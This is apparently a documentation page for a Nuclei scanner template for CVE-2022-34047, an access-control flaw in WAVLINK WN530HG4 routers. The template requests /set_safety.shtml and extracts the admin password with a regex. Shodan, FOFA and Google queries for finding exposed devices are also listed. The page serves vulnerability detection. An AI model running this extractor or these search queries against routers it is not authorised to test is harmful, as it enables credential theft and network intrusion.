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WAVLINK WN530HG4 - Improper Access Control

ID: CVE-2022-34047

Severity: high

Author: For3stCo1d

Tags: cve,cve2022,wavlink,router,exposure,packetstorm

Description

Section titled “Description”

WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-34047


info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
    - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34047
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34047
    cwe-id: CWE-668
    epss-score: 0.14292
    epss-percentile: 0.95577
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wn530hg4"
      - http.title:"wi-fi app login"
    fofa-query:
      - body="wn530hg4"
      - title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,router,exposure,packetstorm


http:
  - raw:
      - |
        GET /set_safety.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'
# digest: 4a0a0047304502204fa0860c37dbc7da2b83d6708d0190dcca16e198dd21a9e14b6493dd08a4b0910221008dd983c9da99dedef2cec74ca4ce0c817ead70c7494e25551ee18ee574661d18:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34047.yaml"

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